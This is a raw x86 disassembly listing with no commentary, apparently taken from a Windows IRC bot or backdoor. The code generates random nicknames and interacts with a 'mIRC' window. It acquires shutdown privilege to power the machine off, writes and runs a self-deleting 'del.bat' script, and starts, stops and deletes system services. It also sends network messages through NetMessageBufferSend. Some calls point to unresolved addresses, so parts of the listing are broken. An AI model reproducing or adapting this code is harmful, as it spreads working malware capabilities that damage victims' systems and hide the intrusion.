jnz short loc_417C5A
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5A
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41C798
cmp eax, 1
jnz short loc_417C5A
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417C5A: ; CODE XREF: sub_417ADD+111j
; sub_417ADD+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C1E0
add esp, 0Ch
loc_417C6D: ; CODE XREF: sub_417ADD+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41AFE0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41D648
pop ecx
test eax, eax
pop ecx
jnz loc_417ED5
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jnz loc_417DCC
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41C798
cmp esi, 3
jz short loc_417CDB
cmp eax, 1
jnz loc_417DCC
loc_417CDB: ; CODE XREF: sub_417ADD+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417D1D
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_417D39
; ---------------------------------------------------------------------------
loc_417D1D: ; CODE XREF: sub_417ADD+207j
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_417D39: ; CODE XREF: sub_417ADD+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41C798
cmp esi, 3
jz short loc_417D62
cmp eax, ebx
jnz short loc_417DCC
loc_417D62: ; CODE XREF: sub_417ADD+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_417DA7
push edi
call sub_41AFE0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41C798
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417DC5
; ---------------------------------------------------------------------------
loc_417DA7: ; CODE XREF: sub_417ADD+28Fj
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417DC5: ; CODE XREF: sub_417ADD+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_417DCC: ; CODE XREF: sub_417ADD+1C9j
; sub_417ADD+1F8j ...
cmp esi, 6
jge loc_417E55
cmp esi, 5
jge short loc_417DED
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
jmp short loc_417E0B
; ---------------------------------------------------------------------------
loc_417DED: ; CODE XREF: sub_417ADD+2FBj
call sub_41B8E2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
loc_417E0B: ; CODE XREF: sub_417ADD+30Ej
call sub_41C798
test eax, eax
jnz short loc_417E2E
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
mov cl, 30h
jmp short loc_417E4B
; ---------------------------------------------------------------------------
loc_417E2E: ; CODE XREF: sub_417ADD+335j
cmp eax, 1
jnz short loc_417E55
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41C798
mov cl, 41h
loc_417E4B: ; CODE XREF: sub_417ADD+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_417E55: ; CODE XREF: sub_417ADD+2F2j
; sub_417ADD+354j
cmp [ebp+var_C], 2
jge short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41C798
cmp eax, 1
jnz short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41C798
cmp eax, 1
jnz short loc_417ED5
cmp [ebp+var_C], eax
jge short loc_417ED5
call sub_41B8E2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41C798
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417ED5: ; CODE XREF: sub_417ADD+1B1j
; sub_417ADD+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41B5F0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp
; sub_401ACD+C28p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_417F79
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_417F79
cmp [ebp+arg_8], esi
jz short loc_417F79
cmp byte ptr [eax], 0
jz short loc_417F79
push ebx
push edi
call sub_426464
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_417F74
push [ebp+arg_4]
push edi
call sub_41B900
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_417F6D
sub eax, edi
push eax
push edi
push ebx
call sub_41B5F0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41AFE0
push eax
push [ebp+arg_8]
push ebx
call sub_41C1E0
push [ebp+arg_4]
call sub_41AFE0
add eax, esi
push eax
push ebx
call sub_41BEC0
push ebx
push edi
call sub_41BEB0
add esp, 30h
mov esi, edi
loc_417F6D: ; CODE XREF: sub_417EEE+3Cj
push ebx
call sub_41B0B1
pop ecx
loc_417F74: ; CODE XREF: sub_417EEE+2Bj
mov eax, esi
pop ebx
jmp short loc_417F7B
; ---------------------------------------------------------------------------
loc_417F79: ; CODE XREF: sub_417EEE+Cj
; sub_417EEE+13j ...
xor eax, eax
loc_417F7B: ; CODE XREF: sub_417EEE+89j
pop edi
pop esi
pop ebp
retn
sub_417EEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F7F proc near ; CODE XREF: sub_401955+E9p
; ___:004102F0p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41B590
mov esi, [ebp+arg_0]
push esi
call sub_41AFE0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_417FB5
or eax, 0FFFFFFFFh
jmp short loc_418028
; ---------------------------------------------------------------------------
loc_417FB5: ; CODE XREF: sub_417F7F+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_417FD7
loc_417FC1: ; CODE XREF: sub_417F7F+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_417FCE
cmp dl, 0Dh
jnz short loc_417FD2
loc_417FCE: ; CODE XREF: sub_417F7F+48j
and byte ptr [ecx+esi], 0
loc_417FD2: ; CODE XREF: sub_417F7F+4Dj
inc ecx
cmp ecx, eax
jl short loc_417FC1
loc_417FD7: ; CODE XREF: sub_417F7F+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418008
lea edi, [ebp+var_7CC]
loc_417FE4: ; CODE XREF: sub_417F7F+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418003
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418003
cmp ebx, 1F4h
jge short loc_418008
mov [edi], ecx
inc ebx
add edi, 4
loc_418003: ; CODE XREF: sub_417F7F+69j
; sub_417F7F+74j
inc edx
cmp edx, eax
jl short loc_417FE4
loc_418008: ; CODE XREF: sub_417F7F+5Dj
; sub_417F7F+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418026
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41C310
add esp, 0Ch
loc_418026: ; CODE XREF: sub_417F7F+8Ej
mov eax, ebx
loc_418028: ; CODE XREF: sub_417F7F+34j
pop esi
pop ebx
leave
retn
sub_417F7F endp
; =============== S U B R O U T I N E =======================================
sub_41802C proc near ; CODE XREF: sub_418086+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418065
push ebx
mov ebx, edi
loc_418049: ; CODE XREF: sub_41802C+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418068
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418049
pop ebx
loc_418065: ; CODE XREF: sub_41802C+18j
pop edi
pop esi
retn
sub_41802C endp
; =============== S U B R O U T I N E =======================================
sub_418068 proc near ; CODE XREF: sub_41802C+25p
; sub_418086+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41D74C
cmp al, 61h
pop ecx
jl short loc_418083
cmp al, 7Ah
jg short loc_418083
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418083: ; CODE XREF: sub_418068+Ej
; sub_418068+12j
xor eax, eax
retn
sub_418068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418086 proc near ; CODE XREF: ___:0041532Dp
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41BB20
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AFE0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41AFE0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41802C
add esp, 14h
dec esi
mov edi, esi
loc_4180C4: ; CODE XREF: sub_418086+B6j
test esi, esi
jle short loc_418142
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41D74C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41813A
loc_4180EA: ; CODE XREF: sub_418086+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_418068
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41810B
mov eax, ecx
loc_41810B: ; CODE XREF: sub_418086+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41813E
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D74C
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41D74C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4180EA
loc_41813A: ; CODE XREF: sub_418086+62j
dec edi
dec esi
jmp short loc_4180C4
; ---------------------------------------------------------------------------
loc_41813E: ; CODE XREF: sub_418086+8Aj
xor eax, eax
jmp short loc_418147
; ---------------------------------------------------------------------------
loc_418142: ; CODE XREF: sub_418086+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418147: ; CODE XREF: sub_418086+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p
; sub_401ACD+789Ep
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
nop
call near ptr 2670D70h
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
nop
call near ptr 27C0000h
lea eax, [ebp+var_100]
loc_418185: ; CODE XREF: sub_41814C+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418191
cmp cl, 9
jnz short loc_418194
loc_418191: ; CODE XREF: sub_41814C+3Ej
inc eax
jmp short loc_418185
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_41814C+43j
; sub_41814C+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4181AE
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418194
cmp cl, 21h
jl short loc_418194
loc_4181AE: ; CODE XREF: sub_41814C+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DA72C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41B980
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41814C endp
; =============== S U B R O U T I N E =======================================
sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp
push esi
push 0
call dword_4CAF44
test eax, eax
jz short loc_41820D
push 1
call dword_4CAF64
mov esi, eax
test esi, esi
jz short loc_41820D
push edi
push esi
call near ptr 27D053Eh
nop
push esi
mov edi, eax
nop
call near ptr 27D0000h
call dword_4CAFC8
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41820D: ; CODE XREF: sub_4181D6+Bj
; sub_4181D6+19j
xor eax, eax
pop esi
retn
sub_4181D6 endp
; =============== S U B R O U T I N E =======================================
sub_418211 proc near ; CODE XREF: sub_401ACD+7661p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CAF80
mov ebp, eax
cmp ebp, esi
jz short loc_41828D
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 27E0000h
nop
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
nop
call near ptr 27D0DFDh
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41B886
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CAFD0
push esi
push 1
push 4C9h
push ebp
call dword_4CAFD0
push ebx
call near ptr 27D0B9Ch
nop
push edi
call near ptr 265098Dh
nop
push 1
pop eax
pop ebx
jmp short loc_41828F
; ---------------------------------------------------------------------------
loc_41828D: ; CODE XREF: sub_418211+16j
xor eax, eax
loc_41828F: ; CODE XREF: sub_418211+7Aj
pop edi
pop esi
pop ebp
retn
sub_418211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418293 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CB030
test eax, eax
jz short loc_418332
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270EC
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_418332
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 27F0000h
push ebx
mov ebx, dword_427068
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_418332
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call near ptr 27E060Ch
nop
push esi
call ebx
loc_418332: ; CODE XREF: sub_418293+2Aj
; sub_418293+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_418293 endp
; =============== S U B R O U T I N E =======================================
sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419651
pop ecx
pop ecx
push 50005h
push 6
call dword_4CAEB4
neg eax
sbb eax, eax
neg eax
retn
sub_418337 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418359 proc near ; CODE XREF: sub_401ACD+2754p
; ___:0041686Bp
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_41837D
cmp dword_4CB044, esi
jnz short loc_41837D
push esi
call sub_401000
pop ecx
loc_41837D: ; CODE XREF: sub_418359+13j
; sub_418359+1Bj
call sub_40B2BF
lea eax, [ebp+var_764]
push eax
push 400h
call near ptr 2690000h
nop
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
nop
call near ptr 26F07E8h
mov edi, eax
cmp edi, esi
jbe loc_4184DD
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
nop
call near ptr 26E0000h
push edi
nop
call near ptr 265098Dh
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset dword_43D128
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call near ptr 2680528h
nop
push eax
call near ptr 266039Ah
nop
lea eax, [ebp+var_15C]
push eax
nop
call near ptr 2680495h
cmp eax, 0FFFFFFFFh
jz short loc_418485
lea eax, [ebp+var_15C]
push 80h
push eax
call near ptr 2680382h
nop
loc_418485: ; CODE XREF: sub_418359+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call near ptr 2800000h
nop
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 2660000h
loc_4184DD: ; CODE XREF: sub_418359+72j
pop edi
pop esi
leave
retn
sub_418359 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
nop
call near ptr 26C05A2h
cmp [ebp+var_84], 2
jnz short loc_418577
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CAEF4
push edi
push eax
call dword_4CAF04
test eax, eax
jz short loc_418569
push [ebp+arg_10]
push offset dword_438984
loc_418542: ; CODE XREF: sub_4184E1+94j
lea eax, [ebp+var_294]
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
jmp short loc_4185A1
; ---------------------------------------------------------------------------
loc_418569: ; CODE XREF: sub_4184E1+57j
nop
call near ptr 2670D70h
push eax
push offset unk_43895C
jmp short loc_418542
; ---------------------------------------------------------------------------
loc_418577: ; CODE XREF: sub_4184E1+3Fj
lea eax, [ebp+var_294]
push offset unk_43892C
push eax
call sub_41B886
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 1Ch
loc_4185A1: ; CODE XREF: sub_4184E1+86j
pop edi
leave
retn
sub_4184E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp
var_1C0 = byte ptr -1C0h
var_15C = byte ptr -15Ch
var_F8 = byte ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C0h
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call near ptr 26C05A2h
nop
cmp [ebp+var_90], 4
jnz short loc_4185FA
cmp [ebp+var_8C], 0
jnz short loc_4185E3
push 1
pop eax
cmp [ebp+var_84], eax
jnz short loc_4185FA
leave
retn
; ---------------------------------------------------------------------------
loc_4185E3: ; CODE XREF: sub_4185A4+30j
cmp [ebp+var_8C], 0Ah
jz short loc_4185F5
cmp [ebp+var_8C], 5Ah
jnz short loc_4185FA
loc_4185F5: ; CODE XREF: sub_4185A4+46j
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4185FA: ; CODE XREF: sub_4185A4+27j
; sub_4185A4+3Bj ...
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
nop
call near ptr 2690C07h
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call near ptr 26A0000h
nop
push 32h
mov edi, eax
push [ebp+arg_0]
lea eax, [ebp+var_1C0]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_15C]
push [ebp+arg_4]
push eax
call sub_41D834
push 32h
lea eax, [ebp+var_F8]
push [ebp+arg_8]
push eax
call sub_41D834
lea eax, [ebp+var_F8]
push eax
call sub_41D817
shl eax, 1
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_1C0]
push eax
push 0
call edi
add esp, 3Ch
mov edi, eax
push esi
call near ptr 2780000h
nop
mov eax, edi
pop edi
pop esi
leave
retn
sub_4185A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418684 proc near ; CODE XREF: sub_40111D+F7p
; ___:0040E6E2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call near ptr 2680CBAh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_427700
call sub_41C798
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_418684 endp
; =============== S U B R O U T I N E =======================================
sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_418719
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_4389A8[esi]
push edi
push eax
call sub_41873B
add esp, 14h
test eax, eax
jnz short loc_418709
push edi
push off_4389A4[esi]
push offset unk_438AB8
loc_4186F9: ; CODE XREF: sub_4186C1+56j
mov esi, offset dword_4DAFF0
push esi
call sub_41B886
add esp, 10h
jmp short loc_418736
; ---------------------------------------------------------------------------
loc_418709: ; CODE XREF: sub_4186C1+2Aj
push eax
call sub_4187DD
pop ecx
push eax
push edi
push offset unk_438A8C
jmp short loc_4186F9
; ---------------------------------------------------------------------------
loc_418719: ; CODE XREF: sub_4186C1+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_4DAFF0
push off_4389A0[eax*4]
push offset unk_438A68
push esi
call sub_41B886
add esp, 0Ch
loc_418736: ; CODE XREF: sub_4186C1+46j
mov eax, esi
pop edi
pop esi
retn
sub_4186C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41873B proc near ; CODE XREF: sub_4186C1+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4CAF68
mov edi, eax
cmp edi, ebx
jnz short loc_418762
call near ptr 2670D70h
nop
mov ebx, eax
jmp short loc_4187D7
; ---------------------------------------------------------------------------
loc_418762: ; CODE XREF: sub_41873B+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4CAE50
mov esi, eax
cmp esi, ebx
jnz short loc_418782
call near ptr 2670D70h
nop
mov ebx, eax
jmp short loc_4187CF
; ---------------------------------------------------------------------------
loc_418782: ; CODE XREF: sub_41873B+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_4187B5
cmp eax, 3
jz short loc_4187A6
jle short loc_4187C8
cmp eax, 6
jg short loc_4187C8
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4CAEBC
jmp short loc_4187BC
; ---------------------------------------------------------------------------
loc_4187A6: ; CODE XREF: sub_41873B+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4CAE58
jmp short loc_4187BC
; ---------------------------------------------------------------------------
loc_4187B5: ; CODE XREF: sub_41873B+4Dj
push esi
call dword_4CAEC0
loc_4187BC: ; CODE XREF: sub_41873B+69j
; sub_41873B+78j
test eax, eax
jnz short loc_4187C8
nop
call near ptr 2670D70h
mov ebx, eax
loc_4187C8: ; CODE XREF: sub_41873B+54j
; sub_41873B+59j ...
push esi
call dword_4CAE6C
loc_4187CF: ; CODE XREF: sub_41873B+45j
push edi
call dword_4CAE6C
pop esi
loc_4187D7: ; CODE XREF: sub_41873B+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_41873B endp
; =============== S U B R O U T I N E =======================================
sub_4187DD proc near ; CODE XREF: sub_4186C1+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_418892
jz loc_41888B
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_418855
jz short loc_41884B
mov ecx, eax
sub ecx, 3
jz short loc_418841
dec ecx
dec ecx
jz short loc_418837
dec ecx
jz short loc_41882D
